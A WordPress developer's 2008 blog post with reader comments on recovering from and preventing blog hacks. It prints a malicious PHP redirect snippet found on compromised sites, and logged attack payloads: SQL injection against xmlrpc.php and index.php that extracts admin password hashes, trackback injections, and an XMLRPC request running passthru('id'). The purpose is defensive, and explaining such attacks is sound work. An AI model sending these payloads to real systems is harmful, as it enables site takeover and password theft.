Remember a few weeks ago there was all that noise about WordPress blogs getting hacked? Remember how everyone was urged to upgrade their blogs. You did upgrade didn’t you? No? It was inevitable that you’d be hacked. If you haven’t been hacked yet, it’s only a matter of time.
Unfortunately for some who did upgrade, it was too late. The hacker slimeballs may have known about the security issues before we did and went about their merry way breaking into blogs and websites, grabbing usernames and passwords, and planting backdoor scripts to log them in again at a later date.
That’s how even diligently upgraded blogs were hacked. The bad guys got there before you.
In the last week the hackers have started again. There is no zero day WordPress exploit. There is no evidence that version 2.5.1 of WordPress is vulnerable to any exploit at this time. They’re using the old exploits all over again. This time they’re redirecting hits from Google to your blog. Those hits are instead being redirected to your-needs.info and anyresult.net
If you’ve been hacked
- Upgrade to the latest version of WordPress.
- Make sure there are no backdoors or malicious code left on your system. This will be in the form of scripts left by the hacker, or modifications to existing files. Check your theme files too.
- Change your passwords after upgrading and make sure the hacker didn’t create another user.
- Edit your wp-config.php and change or create the SECRET_KEY definition. It should look like this, but do not use the same key or it won’t be very secret, will it?
define(’SECRET_KEY’, ‘1234567890′ );
Hidden Code
The bad guys are using a number of ways to hide their hacks:
- The simplest way is hiding their code in your php scripts. If your blog directory and files are writable by the webserver then a hacker has free reign to plant their code anywhere they like. wp-blog-header.php seems to be one place. Theme files are another. When you upgrade WordPress your theme files won’t be overwritten so make sure you double check those files for any strange code that uses the
eval()command, orbase64_decode(). Here’s a code snippet taken from here:
< ?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa");$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }
if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>< ?php
Another hack adds different code to your php files. Look for k1b0rg or keymachine.de in your php scripts and remove that offending code if you find it.
- Check your .htaccess file in the root of you blog. If you’ve never edited it, it’ll should look like this:
# BEGIN WordPress
<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</ifmodule>
# END WordPressThat file may have this chunk of code too which is to do with the uploader:
<ifmodule mod_security.c>
<files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</files>
</ifmodule> - They’re also uploading PHP code disguised as jpeg files to your upload directory and adding those files to the activated plugins list. This makes it harder to find them, but not impossible:
- Open PHPMyAdmin and go to your blog’s options table and find the active_plugins record.
- Edit that record. It’s a long line. Scroll through it and you’ll find an entry that looks like
../uploads/2008/05/04/jhjyahjhnjnva.jpg
. Remove that text, and make sure you remove the serialized array information for that array record. If that’s beyond you, just delete the active_plugins record and reactivate all your plugins again. - Check your uploads directory for that jpg file and delete it.
- This Youtube video shows how to do that. I don’t think there’s any urgent need to remove the rss_* database record but it won’t hurt to do it.
Change Your Passwords
Once you’ve upgraded and verified that your install is clean again you must do the following:
- Change the passwords of all users on your system.
- Make sure the hacker hasn’t added another user account he can use to login again.
Stop the bad guys
One way of stopping the bad guys before they’ve done any major damage is by doing regular backups and installing an intrusion detection system (IDS).
- I use Backuppc to backup all my servers every night, and a simple MySQL backup script to dump the database daily.
- The first IDS that springs to mind is Tripwire but there are many others. I just installed AIDE to track changes on this server. What it does is give me a daily report on files that have changed in that period. If a hacker has changed a script or uploaded malicious code I’ll get an email within a day about it. It does take some fine tuning, but it’s easy to install on Debian systems (and presumably as easy on Ubuntu and Red Hat, and even Gentoo..):
# apt-get install aide
# vi /etc/aide/aide.conf.d/88_aide_web
# /usr/sbin/aideinitIn the configuration file above I put the following:
/home/web/ Checksums
!/home/www/logs/.*
!/home/web/public_html/wp-content/cache/.*
!/home/web/.*/htdocs/wp-content/cache/.*That will tell AIDE to track changes to my web server folders, but ignore the logs folder and cache folders.
Please Upgrade
There is absolutely no reason not to upgrade. WordPress is famous for it’s 5 minute install, but it takes time and effort to maintain it. If you don’t want the hassle of upgrading, or don’t know how to maintain it, why not get a hosted WordPress account at WordPress.com? Does the $10 you make from advertising every month really justify the time it takes to make sure your site, your writing, your photos and other media are safe? This isn’t an advert for WordPress.com, go with any blogging system you like, but don’t make life easy for the scum out there who’ll take over your out of date software and use it to their advantage.
Help a friend
Check the source code of the blogs you read. The version number in the header will quickly tell you if their version of WordPress is out of date or not. Please leave a comment encouraging them to upgrade! The version number looks like this:
<meta name=”generator” content=”WordPress 2.5.1″ /> <!– leave this for stats –>
What does a hack look like?
I perform logging on one of my test blogs and I come across all sorts of malicious attempts to break in. Attackers use dumb bots to do their bidding so a website will be hit with all sorts of attacks, even for software that’s not installed. The bots are so dumb they’ll even come back again and again performing the same attacks.
Here’s what I call the “ekibastos attack”. It happens over a number of requests and I’ve seen it come from 87.118.100.81 on a regular basis. It uses a user agent called, “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)” which strangely enough doesn’t show up on Google at all right now.
- First the attacker visits your Dashboard, and then without even checking if that was successful, he tries to access wp-admin/post.php several times using HEAD requests.
- Then he POSTs to wp-admin/admin-ajax.php with the following POST body:
POST: Array
(
[cookie] => wordpressuser_c73ce9557defbe87cea780be67f9ae1f=xyz%27; wordpresspass_c73ce9557defbe87cea780be67f9ae1f=132;
) - When that fails, he grabs xmlrpc.php.
- He then POSTs to that script, exploiting an old and long fixed bug. Here’s a snippet of the data.
HTTP_RAW_POST_DATA: <?xml version=”1.0″?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>pingback.extensions.getPingbacks</string></value></member>
<member><name>params</name><value><array><data>
<value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10048,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>
</data></array></value></member></blockquote>
- That fails too so the query is repeated with similar SQL.
<value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10000%2Bord(substring(user_pass,1,1)),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>
- Then he tries a trackback:
URL: /wp-trackback.php?tb_id=1
POST: Array
(
[title] => 1
[url] => 1
[blog_name] => 1
[tb_id] => 666666\’
[1740009377] => 1
[496546471] => 1
) - And another trackback:
URL: /wp-trackback.php?p=1
POST: Array
(
[url] => ekibastos
[title] => ekibastos
[excerpt] => ekibastos
[blog_name] => +AFw-\’)/*
[charset] => UTF-7
) - Before finally going back to xmlrpc.php with this POST request:
<?xml version=”1.0″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>k1b0rg’ icq: 76-86-20</string></value></param>
<param><value><string>http://ocaoimh.ie/?p=k1b0rg#ls</string></value></param>
<param><value><string>admin</string></value></param>
</params>
</methodCall> - In between, he also tries the following GET requests:
GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1
GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1 - Thankfully I upgraded and all those attacks fail.
Those requests have been hitting me for months now with the latest happening 2 days ago. If that doesn’t convince you that you must upgrade and check your website, I don’t know what will.
PS. For completeness, here’s another common XMLRPC attack I see all the time. Ironically, this actually hit my server from 189.3.105.2 after I published this post.
<?xml version="1.0"?>
<methodCall>
<methodName>test.method
</methodName>
<params>
<param>
<value><name>','')); echo
'______BEGIN______';
passthru('id');
echo
'_____FIM_____';
exit;/*</name></value>
</param>
</params>
</methodCall>
Edit: Tripwire url fixed, thanks Callum
PS. If your site has been hacked, try the WordPress Exploit Scanner which will try to find any modified files and suspicious database records.
If you like this post then please subscribe to my full RSS feed. You can also click here to subscribe by email. There are also my fabulous photos and funny videos to explore too!
Random Tweet: EOS cashback. 75 Euro back if you buy a Canon 40D before January next. http://www.canon.co.uk/eoscashback/ #
What an excellent and well written post.
I’ve been vulnerable and paid the price in the past. Thanks to articles such as this one I hope I’m a bit better protected these days.
But they are clever bastards and trying to keep ahead of them is hard sometimes. I wonder just how many people don’t have the time (or indeed the knowledge) to find out how to protect themselves properly.
It’d be great if WordPress could publish info such as this right on the front page, so that it’s brought to peoples attention more easily.
Anyway, as I say, great post. Thanks for spending the time putting it out there for the rest of us.
Wow. That is nuts. I’ve upgraded!
Umm… Wordpress 2.5.0 and 2.5.1 appear to vulnerable to this attack. I’ve personally helped a couple of people that were taken down by this hack (the one that redirects to anyresults.net).
Here is an example of someone dealing with it on 2.5.x:
http://www.getrichslowly.org/blog/2008/06/08/patching-the-wordpress-anyresultsnet-hack/
I’ve done some digging, and it appears to be pretty widespread. Lots of sites that I frequent are affected.
The only other possibility that I can think of is that DreamHost has been compromised (I think many of these sites are on DH — could it be that they’ve gotten in and are attacking these installs from the inside?).
nice write up, thanks for sharing this
Great post. What about WP Security Scan Plugin? Is it ok to use, in order to see your WP security gaps?
I wonder that’s why my blog getting the same referers for all article again and again
Thanks for the heads up on keymachine.de I keep seeing that one on a regular basis and have been tempted to just ban the whole domain, now I will!
Very informative, Donncha. Will keep those things in mind! Never know what might happen…
Good post, but as far as I remember, there is also a way to hide code only in the database, so it would take some time to detect and find it.
Great post, Donncha. Thanks for clarifying exactly how these hacks work and underlining the importance of upgrading to the latest versions as soon as they’re available!
Thanks for the warning, someone contacted me regarding this issue of Google link redirecting and I thought it was an anomaly and asked them to check again. The second time she checked, the link directed to the correct page. Does that mean the hacked code somehow got overwritten? Or does the link redirection happens once in every “x” clicks or something to that order? The WP version is 2.5.1. Any input will be highly appreciated!
fivecentnickel.com - I think there’s a good chance they were compromised before they upgraded. So many sites were hijacked the previous time the hackers activated their payload that there was bound to be a second wave.
It’s probably worth double checking even if your site doesn’t exhibit any of the redirect problems. I know I grepped all my installs just in case.
WP Security Scan is constantly updated.
http://semperfiwebdesign.com/custom-applications/wp-security-scan/
Very good tips, a hack could be hard to be found but my guess you should always validate your feed.
feedvalidator.org is a good tool you can you to take a look of what is being published and search for strange links, domains, etc..
Thank you for this post, Donncha.
great info. thanks a lot
not hacked this time around but will go through the list
My blog got hacked. It makes me mad that the hackers can’t find a way to do something good with their skills rather than picking on innocent people.
Thanks for a great post. I learned a lot!
“That will tell AIDE to track changes to my web server folders, but ignore the logs folder and cache folders.”
and thats exactly why cache should be outside of webroot, and almost everything else as well (plugins etc.) because guess where the next backdoor script is going to be placed..
I host 9-10 wp blogs on a server, all running current. they have been hacked with 0day exploits 3 times in 6 months now. one of the blogs had so many pharma pages added to it that it was bringing the whole server to a crawl from the traffic.
Here’s another tip: aside from checking file/directory permissions, make sure you don’t have obsolete JS directories/libraries lingering about. Much to my consternation I realized some “mysterious” pages were uploaded with an exploit of a JavaScript WYSIWYG (TinyMCE) editor. In my case, I did a full WP install refresh (just clearing out almost everything and uploaded a new set) as well as combing through all directories to find any suspect “additions” and that was the end of it.
What’s the deal with the 2.3 and 2.5 branches of Wordpress being plagued with security vulnerabilities??!! The older, (better, imo) Wordpress 2.2.3 is not affected by any of the vulnerabilities discovered once these new versions were released.
I believe this question deserves an answer from the Wordpress developers. It’s as if security was completely thrown out the window with the release of 2.3.
you are right xmlrpc.php exploit can be done easily with previous versions of wordpress, my blog was also atacked many times…
However the latest upgrade resolve the issues, just a tip for other users make sure that you block IP’s through which attacks and spammers are coming that will really help you.
Regards,
Himanshu
I was hacked a few months ago…unfortunately for the hacker, i hadn’t started working on my site yet (still haven’t actually :P). Thankfully it was nothing more than a kiddie playing with his computer. 10 minutes on my FTP and my site was back to normal. I made sure to delete EVERY file that had been uploaded and/or modified the day the hack happened. That made cleanup REALLY easy if anyone ever has this happen to them. I even too a screenshot of my site hacked
http://img241.imageshack.us/img241/5268/fuckxa9.png
wow, thanks buddy, these tips really helped me a lot, i will now upgrade to latest version when ever its out
currently, Im on latest version, but I didnt upgrade for a long time until I noticed some bugs in older version..
Thanks again
How do u find out whether the blog is hacked or not?
I know of at least 6 exploits for Wordpress 2.5.1 that allows remote SQL injection.
Serves me right for running an out of date Wordpress I guess. Exact same attack, exact same IP address … 87.118.100.81 … I have informed abuse@keyweb.de. I wish I’d read this yesterday, though! Off to restore from backup …
Jim - so, why don’t you contact security@wordpress.org?
Jim,
If you genuinely know of 6 WordPress 2.5.1 exploits, I encourage you to contact me as I will appropriately update WP Security Scan.
Excellent post.
I had similar issues a couple months ago and had to do a clean install of WP to move on. But I also found that simply changing my password wasn’t enough. I also had to create a new administrator and delete the WP default admin account.
http://butlerblog.com/2008/06/09/delete-original-wp-admin-account-for-additional-security/
Thank you so much this post. I upgranded to 2.5.1 the day it came out, but I’ve seen the attempts in WussUp and was not familiar with what they were trying to do, other than a vague suspicion it was probably malicious.
I’ve heard from several other WP bloggers who’ve been hacked, and I will definitely be forwarding this post to them.
Thanks again!
Thank you SO MUCH for this article. I’ve definitely seen weird re-directs but I don’t know when they started since I rarely check my stats. Sigh. I don’t see any changed files and keep my server permissions rather tight (755 on directories and 644 on files) but something is wrong.
At least with your article I have a starting point. I’m running 2.1.3 and got complacent….
It only takes one time to learn. I got hacked two weeks ago before I upgraded and installed the security plugin. I haven’t had a problem since… just make sure ou leave the scanner activated, and keep a lookout for WP upgrades. Doesn’t 2.6 come out soon?
Don’t forget to check the database for cruft left by the attacker if they do get in.
During the April attacks, I had cleaned up the files that had been compromised, but they still got back in a week or so later because some of the options had been tampered with, and a Wordpress upgrade to 2.5 didn’t fix it.
Actually viewing the tables was the only way to see the hidden user they’d created… there was no way to see it from inside the WP admin panels.
I can’t find any files which have changed, and I’m hoping this is due to the permissions I have set, so I can only assume they made some database additions. I have no idea how to check that out but I’m off to see what I can find.
Ok, I’ve upgraded to 2.5.1. Thank you SO MUCH for this article. When I ran upgrade.php WP upgraded the database also. (shrug) I did find 2 users I didn’t know anything about and just deleted all my users, even my own id, leaving only admin and then changed the password.
i hope that is enough and i don’t have to go into the database (scary).
One thing I do is delete xmlrpc.php. I don’t have any reason to post to my blog through it, and it’s been so bad for security, that I just blow it out. Another thing I do is cat /dev/null > wp-trackback.php which makes it an empty file with no functionality. I hate trackbacks… they drive me nuts, and it seems they too have been responsible for badness. From those two things, I’ve been able to weather these security lapses via the common methods. I got smacked by a bug via an email plugin that allowed spammers to inject email into it, but that’s another story.
I got hacked. I sadly admit that I don’t know when it happened, but I caught it when I was going through referrals as listed in my SiteMeter account and I found that my site had taken a couple of google referrals for some drug.
Since I’d never posted about that drug, I thought it possible that it was comment spam, although Akismet (and Spam Karma before that) had done well in stopping comment spam.
It led me to a post on my blog. I did a “view source” in FireFox and concluded that there was code added to my “footer.php” file. I opened the file in the admin suite and cut the offending code.
How does this stuff get in?
this is informative… maybe wordpresss should make another updata again…
I just released a security plugin
http://herselfswebtools.com/2008/06/wordpress-security-plugin-block-scrapers-hackers-and-more.html
part two of a three part set. This will stop people scanning your site with the user agent Security Kol which is where most of these attacks are originating.
Use it or use another security plugin. I wrote this after my Coppermine site was hacked a couple of months ago.
I got hit and some of my hosting customers as well.
Thanks for showing the query they try from the url to access wp_users table. That’s why I think one of the most important steps is to change your table prefix to something other than wp_, to make it impossible to find out.
Also, stay away from fantastico installations, they are insecure.
Regards.
Ok, I upgraded, installed security plugins and still am having the referral problems. No files on my server were changed. After the upgrade they would have been gone anyway. So I downloaded and uploaded and activated a new theme - still wacky referrals, so it must be my database. I’m now renaming all the tables from wp_ to something else. Sigh.
Any ideas where to find the database crud?
Kathy, have you tried your theme folders? I had a .jpg image there called single_old.jpg which was the rogue file.
@kathy,
The database crud I found was in wp_users and wp_options.
I posted details about what I found in the WP forums back in April/May when it happened the first time.
The post with what to look for is http://wordpress.org/support/topic/168964#post-740607
The other thread with info to look for is http://wordpress.org/support/topic/141041
Basically, look for any entry in one of your options fields that has a strange looking file path with lots of dotdotslashes in it.
Is 2.3.3 okay?
The reason why I don’t upgrade is because the true blue theme for K2 hasn’t updated. I love that theme!
@Summer - looking at the database itself, I have no weird active plugins and checking the options table I have no weird theme stuff. Looking at the database (from phpadmin) I see only one user and it isn’t admin as I changed that userid yesterday. I am still getting weird referrals so there is something somewhere in something. i’m going to check the jpg’s again - maybe an old theme or a non-active theme? Maybe I’ll just wipe the content directory and start from scratch…
Maybe it would be a great idea to have a plugin that can check for these vulnerabilities ? Something that can check against these routines ?
My knowledge of WP plugins is limited, but feel free to use the idea !
Paul - BloggingSupport.
@kathy,
I discovered yesterday that the same 2 IP addresses were bombarding a server of mine, trying to access wp-comments-post.php for a handful of websites using fake referrers from those same websites.
I knew they were fake because I’d moved those 15-20 domains off that one server and onto another one to prep the old one for a rebuild. The referrers were fake because there was no activity on the real sites matching those hits, and no way the real sites would have referred over to the old server for those calls.
Maybe what you’re seeing and what I was seeing yesterday was just an attack of comment spams? I’m just wondering if they chose the old IP of those domains, and had it hard-coded into their script because the sites had been previously hacked a few months ago. But yes, I went through the themes again just to be sure, and I didn’t find anything this time.
The increase in attacks is both annoying and disturbing.
thanks for this article. I unfortunately have suffered from the spam link hack. And like your article discussed, upgrading after the fact is too late. It got me bumped off google for awhile. Thought I had licked it and that is when I discovered that there were still problems.
Guess I have to dedicate a saturday to following all the advice in this article!
Thanks for your great information.
I can have a new tech from your blog.
Confirmed: TinyMCE gets hammered on my place, which is running WP 2.5.1. My simple solution: I’ve taken down the whole /wp-includes/js/tinymce/ directory and everything underneath - problem cleanly solved.
No more issues with that @#$% editor messing up my tags, either: pure win-win.
Thanks for the very informative post…
Some of the best practices that I follow in order to keep my blog safe (although it’s not really very unsafe, not being very popular) are that I change my password regularly, every month. Passwords I use are very strong have combination of upper and lower case, special characters and numbers.
I update my blog regularly, with the help of the automatic wordpress update plugin, it really is a matter of a few clicks so I recommend that to everyone.
I recently upgraded my website but before I saw some of the codes posted here. It seems I need to root whatever evil is hiding now inside my blog.
Thanks for this very informative article.
how did you trace it in such a detailed manner ? Is it thro. AIDE?
Rajesh - I logged all POST requests to a test server. Handy for telling me when the bad guys are attacking!
Wow! Thanks, I wasn’t even aware of the security flaw… I upgraded when 2.5.1 came out, but didn’t realize that it was so potentially threatening. I plan on checking all of my sites to make sure they’re not vulnerable!
Donncha,
Do you know of any plugins that take a checksum of your particular wordpress install, then notify you if any of your files change.
Same idea as the Intrusion Detection System you mention, but maybe easier for most users?
Paul
Paul - there’s this file change plugin that would be useful if you don’t want to run AIDE or Tripwire.
I wouldn’t run it as often as an hour because the find command could be intensive if your site has lots of files.
It also won’t find files that have been modified but had the modification time reset by “touch”.
I’m not aware of a php script that records checksums. That’d be useful, except that hackers could manipulate the data easily.
Thank you! Thank you! Thank you!!!
I had 2 days of redirects after I made each change in your article (the table prefix was hardest) but it has paid off. By the time I did the very last thing - the table prefix I was finding my site in the google searches anymore.
It was a LOT of work (since I am clueless when it comes to this stuff) but I got it done. There are two other sites mentioned in the comments - the 9 things and the 10 things lists and those are very helpful also. I also installed a security plugin http://semperfiwebdesign.com/plugins/wp-security-scan/ and a login lockdown plugin http://www.bad-neighborhood.com/(let me look for the links) but couldn’t get the password plugin to work. Fatal errors. (ask apache password protect)
Well luckily for me my blog is new so I haven’t experienced that yet but this is good information to know for the future.
Donncha, Thanks for the write-up but one of the harder parts to fix is the indexing down by Google if your site is compromised. I got nicked by a Wordpress flaw and now I spend my time getting things corrected with Google and Yahoo.
Cheers
Mario, if you have a sitemap and communicate it to Google and Yahoo regularly and properly (there are several plugins that can do that for you, both from a SEO point of view and as a “pure” sitemap generator) the poisoned links should be flushed out within a week or so. Also, I’ve found that the Google, Yahoo and (Windows) Live teams involved in indexing are helpful, when you’re really stuck in the aftermath of a hack attack aimed at poisoning your site with (malicious) links.
Also, if you have an account with Google, sitemap management with them is a breeze:
http://google.com/webmasters
As to Yahoo, you can keep track of your indexed pages with their Site Explorer:
https://siteexplorer.search.yahoo.com/
I wholeheartedly recommend Arne Brachhold’s XML Sitemaps plugin, which makes index tracking and management a lot easier: something which is essential in the last step after a (sadly) successful hack attack - the clean-up of the mess.
Good luck.
Forgot to add the link to the corresponding Microsoft Live webmaster / indexing tools pages:
http://webmaster.live.com
Álvaro: Thanks for the reply. My solution was to write my own CMS platform from scratch and delete Wordpress and any PHP.
I do have a python script that dynamically walks the structure of my site and returns a valid sitemap.xml document for Yahoo/Google to parse.
The sitemaps were submitted 2 weeks ago and have been touched by Googlebot twice in that time.
The issue is other infected sites that have thousands of links pointing back to me referencing adult or pharmaceutical content that I have since removed. From Google’s Webmaster Dashboard, the “What Googlebot sees” section continues to view my site as adult oriented.
It’s an arms race, and I always feel like I’m playing catch up.
How reliable is protecting your wp-admin folder with an .htaccess file to limit it to your home IP address.
If they’re not on my whitelist of IP addresses, is there a way around to access wp-admin?
Thanks for all of your help
I’m getting an awful lot of hits from bots looking for the following:
/wp-includes/js/thickbox/\”+urlNoQuery[0]+\”
Anyone else getting that too? No idea what vulnerability they’re probing, but it just doesn’t feel right, looking at the numbers of requests I’m getting for that resource.
Thanks for the article, I had 5 of my blogs hacked in various ways. All upgraded and repaired now, it was a shock to see how quickly they got it though.
just stumbled across your page. i run this theme too and i can’t stand it haha. You seem to be managing better than me here
Excellent advice man, followed it after being referred to this post by Conor from Louder Voice..
That’s why it’s always important to upgrade to the latest version of Wordpress when it’s available.
It can be a hassle, I must admit, but it’s worth it!
Thanks for the extensive explanation, one of my blogs got hacked a ouple of weeks ago. Some encoded javascript code was injected to the wp-blog-header.php file. It took me a while to figure out.
thanks for sharing this, security alert =)
Another easy thing to do is regularly FTP sync from your computer to your host. Set up the FTP software to replace files with whatever is on your computer and to delete everything else. Once a script is setup, all it takes is a click to replace/wipe infected files.
There is something more over here http://www.bloggerguide.net/blog-platform/wordpress/wordpress-exploit-giving-backlinks-redirects-and-headaches-but-no-visitors/
If you got attacked, you sure have an user added, called WordPress, visible if you disable javascript in the browser, or visible in the database, with no nicename, created at 00:00:00 0000-00-00.
In wp_options table, active_plugins you also have the links_cache where are stored the spam links that show up for Googlebot, but not to you.
Check on http://www.web-sniffer.net on http://www.denisuca.com.
Googlebot sees: http://web-sniffer.net/?url=http%3A%2F%2Fdenisuca.com%2F&submit=Submit&http=1.1&gzip=yes&type=GET&uak=7
On Internet Explorer 7 or else you will see: http://web-sniffer.net/?url=http%3A%2F%2Fdenisuca.com%2F&submit=Submit&http=1.1&gzip=yes&type=GET&uak=2
Googlebot sees the spam links hidden in links_cache.
The problem is more complex, but it shoud be stopped.
There are more locations for there .jpg,.jpgg,.jpeg files. Found some 4 subfolders below in wp-includes tinyMCE.
And another thing… Attacks were also possible in the latest Wordpress stable version.
alert(’hi visitor’);
Thanks for this post. I read this about a month ago and wanted to upgrade but my webhost only had the older version available. Too bad cuz now I have been hacked. =(
What does the hack do?
Give hacker root access?
I have (had) Yahoo for the hosting on my site that got hacked, and they don’t offer anything above WP 2.5 (I should have upgraded via ftp, though).
Sadly, when my site went down last week, Yahoo refused to put it back up because they said it messed up their server farm. I went and looked at the files and sure enough, somehow the hackers got tons of spammy credit card links into my hear - what a nightmare! It’s already cost me over $1000 in losses - too bad we can’t find these jerks and sue them.
So now I’m in the process of transferring the domain and moving to a different host.
Phew. When I get hold of the slimeball who screwed (more than 10 of) my blogs I will claim diminished responsibility due to rage at being violated. These scumbags cannot be found but if they se my email address then I get my site hosting revoked with no reasons given and no refund. I like justice - shame their ain’t any.
Thanks for the info - I am hardening as we speak.
Hi
my site has been hacked
I found your site using google
however, i follow your instructions but i am not able to find what you mention in the database
is it a new hack or what?
please help
thanks
Really? wow i didnt know they can hack wordpress that easily and quick. Well im already updated to the latest version. Ill see from time to time on the htaccess file incase it was hacked. thanks for letting us know though.
Hi, this post is simply beyond great. You should write a book on it. One of our sites were hacked,http://www.hornerartworkshop.com we did a noscript search, found a bugger and deleted. We also went to Google Webmaster tools for resubmission. After several weeks still shows on listing in the search that says site is dangerous and Firefox tells you to RUN!
Any suggestions?
I’ve been experiencing period hack attempts by the same methods used in what you call the “ekibastos attack”, the latest one being this AM. I’ve kept my WordPress installs upgraded to the latest version available, so whoever this is hasn’t been able to get in, thank goodness.
I also did a few things to lock down my WP install a bit more, as well as downloading and running the WordPress Exploit Scanner this evening - everything came back clean after the scan. Thanks for writing that plugin!